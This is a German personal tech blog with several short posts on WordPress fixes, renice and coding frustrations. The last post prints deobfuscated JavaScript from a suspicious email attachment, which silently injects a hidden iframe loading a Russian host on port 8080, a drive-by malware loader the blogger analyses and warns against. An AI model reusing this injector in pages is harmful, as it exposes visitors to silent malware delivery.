Mwahahaa, fluchende Coder. So ähnlich liest sich mein durchschnittlicher Tagesablauf auch. Ich bin gerade zu faul, den Nicht-Nerds zu erklären, was "github" oder eine "revision control" oder "einchecken" ist. Egal. Ich könnt mich kaputt lachen, die meisten normalen Menschen werden nur Bahnhof verstehen.

http://www.commitlogsfromlastnight.com/
because real hackers pivot two hours before their demo

Ja, geht. Und zwar mit einer URL wie dieser:

http://gdata.youtube.com/feeds/api/playlists/PL5Q_z202ibe00x6EUnB_sCjAxGMPeSkXG

wobei ihr einfach nur die Playlist-ID mit der ersetzen müsst, die ihr abonnieren wollt.

(danke, daniel!)

Gerade lösche ich meinen Mülleimer "sicher", also mit zigmehrfachem Überschreiben der Daten. Das zwingt meinen Maccy ziemlich in die Knie. Deshalb wollte ich die Prio des Threads ein bisschen runter regeln. Unter Windows geht das mit dem Prozessmonitor, unter OSX macht man erst den Activity Monitor auf um an die ID des Prozesses zu kommen und klöppelt dann sowas hier ins Terminal:

sudo renice +1 -p 3692

A process can have a priority between +20 (lowest priority) and -20 (highest priority). 0 is the default priority. The above will make the the process with PID 3692 with a slightly lower priority.

Ich habs gleich mal auf +10 eingestellt. Nicht kleckern, klotzen

Holy shit. Jetzt hab ich aber langsam die Faxen dicke. WordPress 3.5 schmeißt mir sämtliche YouTube-Videos aus Posts raus, die "im Voraus" zur Publikation vorgesehen sind (scheduled, k.A. wie das auf deutsch heißt). Das ist ein echtes Problem, z.B. das hübsche Feuerwerk gestern Nacht ging gar nicht an den Start, gleiches gilt für die "Aufgewacht!"-Rubrik.

Andere haben dieses Problem offenbar auch und es ist auch als offizieller Bug gelistet. Einen Bugfix dazu gibt's auch schon, den werde ich jetzt mal austesten...

Update: der Bugfix bringt's!

WordPress hat die Angewohnheit, jeden Artikel zigmal als sogenannte Revision zu speichern, wenn ihr "Save Draft" oder "Preview" klickt. Das ist zwar ganz praktisch führt aber eben auch dazu, dass die Datenbank unnötig anschwillt, weil eben jeder Artikel mehrfach vorhanden ist. So sieht das aus:

Braucht eigentlich kein Mensch. Alle diese Revisionen könnt ihr mit einem simplen SQL-Statement löschen:

DELETE FROM wp_posts WHERE post_type = "revision";

Ich mache das regelmäßig, heute habe ich meine DB damit wieder um über 10.000 Zeilen erleichtert.

Wie immer gilt: 1. erst ein Backup der Datenbank anlegen und 2. daMax übernimmt keine Haftung für Schäden, die ihr eurer Datenbank zufügt.

Update:

alpipego meint:

Ist nicht der neueste Post, ich weiß… geht auch über die wp-config: define( 'WP_POST_REVISIONS', 3);. Hier die Seite im Codex dazu.

wordpress | revisions | revisionen

UPDATE: Ich blick das alles irgendwie nicht so richtig. Bitte lest erst diesen Kommentar bevor ihr mir ein einziges Wort glaubt. Ich brauch Wochenende, ey.

BSC schreibt mir:

(mehr …)

Kein Scherz! Portal auf dem Texas Instruments TI 83! Alex schreibt:

Nerdfaktor OVER 9000++. Damit bist du definitiv für die nächsten 20 Minuten der coolste Nerd in deinem Umfeld. Dagegen stinken selbst Katzenbilder ab. Ha!

Und wo er Recht hat, hat er recht. Also hol's Dir!

Klick mich.

PS: Auch die Erstausgabe der CHIP gibt's für lau.

(Danke, Yen-Cee!)

Oha! Das Statistik-Tool Piwik hat eine fette Hintertür eingebaut!!

Wer Piwik in den vergangenen Wochen vom Server des Open-Source-Projekts geladen und installiert hat, sollte seine Server sofort überprüfen.

Der liebe Fronti hat mich auf ein Tool aufmerksam gemacht, das es für mich in Zukunft unnötig macht, den Schwarm zu bemühen wenn ich mal wieder am Layout rumfummle. Browsershots.org fertigt Screenshots einer Website mit Dutzenden verschiedenen Browsern an. Dabei kann man auch noch gezielt Java, JavaScript usw ein- und ausschalten. Sweet

Update: äh. Ich glaube, das Tool ist doch nicht so toll. Ich hab jetzt 2x versucht, Screenshots von todamax zu kriegen, und jedesmal kommme ich auf eine Ergebnisseite, die nach 14 Minuten inaktiv wird und mir erzählt, dass es noch 14-16 Minuten dauert, bis die Screenshots verfügbar sind. Das kanns ja wohl nicht sein

2. Update: wer lesen kann ist klar im Vorteil. Man muss die Seite hin und wieder reloaden, dann geht's doch!

[Update]: Danke! Ihr seid ein Spitzenpublikum und ich bin hinreichend optimistisch, dass die meisten von euch diese Seite so zu sehen bekommen, wie sich das gehört.[/Update]

Ihr könntet mir mal einen Gefallen tun. Macht doch bitte mal einen Screenshot von todamax, ladet ihn z.B. bei TinyPic hoch und packt mir den Link in die Kommentare. Schreibt vielleicht noch Betriebssystem und Browser dazu. Könnt ihr das machen? Bitte. Ich bin echt mal auf die Ergebnisse gespannt.

Danke.

Ich habe mal einen Anfang gemacht: (mehr …)

Kleine Plauderei aus dem beruflichen Nähkästchen eines leicht gefrusteten Coders. Normale Menschen klicken bitte weiter, hier gibt es nichts zu sehen.

In meiner Tätigkeit als Codemonkey kommen mir ja immer wieder befremdliche Dinge unter, die irgendwelche anderen Codeäffchen zusammengetippselt haben. Und manchmal reicht ein einzelner Facepalm nicht mehr aus, da der fail einfach zu epic ist. So auch heute, als ich über folgendes Lehrbuchbeispiel für Security by Obscurity gestoßen bin:

Aufgabenstellung: Der Anwender soll ein paar Daten in eine Tabelle klopfen, aus diesen Daten werden dann über einen Template-Mechanismus XML-Dateien erzeugt. Echt kein Hexenwerk. So sieht das aus:

Nun müssen also die eingebenen Daten irgendwie weiter gereicht werden, um von einer anderen Klasse verarbeitet zu werden.

Der Typ, der hier am Werk war, hat sich jetzt Dictionaries zusammengebaut, mit dem Attributnamen als Key. Soweit gehe ich d'accord. Anstatt nun aber ganz simpel die Werte als Strings abzulegen, hat der Typ Windows.System.Form.Textboxes genommen!! WTF? Und nicht genug damit! Nein, nein. Erst sammelt er sich nämlich die "Invarianten" und die "Varianten" Daten in 2 unterschiedlichen Dictionaries, nur um die dann mitten im Aufruf der verarbeitenden Methode zu einem einzigen Dictionary zusammen zu mergen. Das gibt dann sowas:

count = KLASSE.Do(actionName,
new Dictionary().Union(variantDataGridLinkedBox).ToDictionary(pair => pair.Key, pair => pair.Value).Union(invariantDataGridLinkedBox).ToDictionary(pair => pair.Key, pair => pair.Value));


Hö hö... höhöhö.... mwahahhaa... WAAAHAHAAAAA

Geht's bitte noch umständlicher? Klar! Er initialisiert sich nämlich diese Dictionaries vorher auch noch super hirnverbrannt mit diversen Loops, in denen er dann erstmal leere Textboxen erzeugt(!) um nachher was zu haben, wo er seine Daten dann reinschreiben kann! AUA!!!

Ich also alles rausgeworfen inklusive Initialisierungsfunktionen. Die Daten werden jetzt just-in-time eingesammelt, in ein einfaches Dictionary aus Strings gesteckt und der gleiche Aufruf sieht nachher so aus:

count = KLASSE.Do(actionName,dataToWrite);

ja, zugegeben, das sieht nicht so sophisticated aus. Aber ich kann danach wenigstens wieder ohne Knoten im Hirn ins Bett gehen.

Jetzt geht's ab! Ich habe gerade eine super obskure Mail erhalten, die als Attachment eine HTML-Seite mit ganz derbe enrcyptetem Javascript-Code enthielt.

Coderfreaks da draußen: hat eine/r von euch Zeit, Muße und ausreichend Expertise um mir zu verraten, was dieser Code macht?

Die komplette Mail gibt es hier als ZIP-File, der interessante JS-Code sieht so aus:

2. Update: Hier war nun der Code abgedruckt. Allerdings blocken manche Virenscanncer (z.B. AVAST) dann komplett den Zugriff auf mein Blog, deshalb musste ich den Code leider entfernen...

Disclaimer: ich hafte weder für Schäden noch für sonstige Unbill, die durch unsachgemäße Handhabung mit der Mail und/oder oben stehendem Code entstehen könnten. Der Code ist NICHT von mir, ich bin selbst nur ein potentielles Opfer. Noobs und Computerunversteher seien hiermit ausdrücklich gewarnt, mit dem Code herum zu experimentieren oder auf oben stehenden Link zu klicken.

1. Update: Hab selber Muße. Also. Der Code ist natürlich nicht wirklich encrypted sondern irgendwie bitgeshiftet oder was weiß denn ich wie das heißt. Lesbar wird daraus:

if (document.getElementsByTagName('body')[0]){ iframer(); } else { document.write(""); } function iframer(){ var f = document.createElement('iframe');f.setAttribute('src','http://gorysevera.ru:8080/forum/showthread.php?page=5fa58bce769e5c2c');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); document.getElementsByTagName('body')[0].appendChild(f); }

und ich will gar nicht wissen, was uns auf http://gorysevera.ru:8080/forum/showthread.php erwartet...